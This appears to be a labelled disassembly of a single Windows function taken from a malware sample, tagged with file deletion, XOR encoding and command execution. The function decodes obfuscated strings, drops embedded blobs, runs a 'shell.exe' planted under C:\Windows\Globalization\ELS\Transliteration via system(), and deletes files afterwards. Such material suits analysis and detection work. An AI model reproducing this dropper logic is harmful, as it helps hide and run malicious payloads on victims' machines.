Function at 0x140012870
Capabilities:
Delete file
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x14011df80]
xor rax, rsp
mov qword [rbp + 0x27], rax
movups xmm0, xmmword [0x1400beeb0]
movups xmmword [rbp - 0x11], xmm0
movups xmm1, xmmword [0x1400beec0]
movups xmmword [rbp - 1], xmm1
movups xmm0, xmmword [0x1400beed0]
movups xmmword [rbp + 0xf], xmm0
mov eax, dword [0x1400beee0]
mov dword [rbp + 0x1f], eax
movzx eax, word [0x1400beee4]
mov word [rbp + 0x23], ax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x25], al
xor ebx, ebx
mov r8d, ebx
movdqa xmm6, xmmword [0x1400bf3a0]
movdqa xmm4, xmmword [0x1400bf3b0]
movdqa xmm5, xmmword [0x1400bf390]
movdqa xmm3, xmmword [0x1400bf500]
movdqa xmm7, xmmword [0x1400bf370]
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x140012a17
movdqa xmmword [rbp - 0x69], xmm4
lea rcx, [rbp - 0xd]
mov edx, dword [rbp - 0x69]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140012930
cmp r8d, 0x37
jge 0x140012a60
movsxd rax, r8d
lea r9, [rbp - 0x11]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x140012a30
movups xmm0, xmmword [0x1400beee8]
movups xmmword [rbp - 0x49], xmm0
movups xmm1, xmmword [0x1400beef8]
movups xmmword [rbp - 0x39], xmm1
movups xmm0, xmmword [0x1400bef08]
movups xmmword [rbp - 0x29], xmm0
mov eax, dword [0x1400bef18]
mov dword [rbp - 0x19], eax
movzx eax, word [0x1400bef1c]
mov word [rbp - 0x15], ax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp - 0x13], al
mov r8d, ebx
cmp esi, 2
jl 0x140012ba7
movdqa xmmword [rbp - 0x69], xmm4
lea rcx, [rbp - 0x45]
mov edx, dword [rbp - 0x69]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140012ac0
cmp r8d, 0x37
jge 0x140012bf0
movsxd rax, r8d
lea r9, [rbp - 0x49]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x140012bc0
xorps xmm0, xmm0
movups xmmword [rbp - 0x69], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x59], xmm1
lea rax, [rbp - 0x11]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], bl
jne 0x140012c10
lea rdx, [rbp - 0x11]
lea rcx, [rbp - 0x69]
call fcn.140002720
nop
mov r8d, 0x2600
lea rdx, [0x1400e5060]
lea rcx, [rbp - 0x69]
call fcn.140007aa0
nop
mov rdx, qword [rbp - 0x51]
cmp rdx, 0xf
jbe 0x140012c7c
inc rdx
mov rcx, qword [rbp - 0x69]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012c77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012c77
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b7ebc
xorps xmm0, xmm0
movups xmmword [rbp - 0x69], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x59], xmm1
lea rax, [rbp - 0x49]
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x140012c90
mov r8, rdi
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x69]
call fcn.140002720
nop
mov r8d, 0x23800
lea rdx, [0x1400fa160]
lea rcx, [rbp - 0x69]
call fcn.140007aa0
nop
mov rdx, qword [rbp - 0x51]
cmp rdx, 0xf
jbe 0x140012cff
inc rdx
mov rcx, qword [rbp - 0x69]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012cfa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012cfa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b7ebc
lea rcx, str.C:WindowsGlobalizationELSTransliteration_shell.exe_C:WindowsGlobalizationELSTransliteration_shell.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400bef20]
movups xmmword [rbp - 0x49], xmm0
movups xmm1, xmmword [0x1400bef30]
movups xmmword [rbp - 0x39], xmm1
movups xmm0, xmmword [0x1400bef40]
movups xmmword [rbp - 0x29], xmm0
mov eax, dword [0x1400bef50]
mov dword [rbp - 0x19], eax
movzx eax, word [0x1400bef54]
mov word [rbp - 0x15], ax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp - 0x13], al
mov r8d, ebx
cmp esi, 2
jl 0x140012e77
movdqa xmm4, xmmword [0x1400bf370]
movdqa xmm3, xmmword [0x1400bf500]
movdqa xmm5, xmmword [0x1400bf390]
movdqa xmm0, xmmword [0x1400bf3b0]
movdqa xmmword [rbp - 0x69], xmm0
lea rcx, [rbp - 0x45]
mov edx, dword [rbp - 0x69]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140012d90
cmp r8d, 0x37
jge 0x140012ec0
movsxd rax, r8d
lea r9, [rbp - 0x49]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x140012e90
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movups xmm0, xmmword [0x1400bef58]
movups xmmword [rbp - 0x49], xmm0
movups xmm1, xmmword [0x1400bef68]
movups xmmword [rbp - 0x39], xmm1
movups xmm0, xmmword [0x1400bef78]
movups xmmword [rbp - 0x29], xmm0
mov eax, dword [0x1400bef88]
mov dword [rbp - 0x19], eax
movzx eax, word [0x1400bef8c]
mov word [rbp - 0x15], ax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp - 0x13], al
cmp esi, 2
jl 0x140013022
movdqa xmm4, xmmword [0x1400bf370]
movdqa xmm3, xmmword [0x1400bf500]
movdqa xmm5, xmmword [0x1400bf390]
movdqa xmm0, xmmword [0x1400bf3b0]
movdqa xmmword [rbp - 0x69], xmm0
lea rcx, [rbp - 0x45]
mov edx, dword [rbp - 0x69]
nop
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x30
jl 0x140012f40
cmp ebx, 0x37
jge 0x14001305c
movsxd rax, ebx
lea r8, [rbp - 0x49]
add r8, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, bl
sub al, cl
add al, 0x39
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x37
jl 0x140013030
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.1400b8220
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret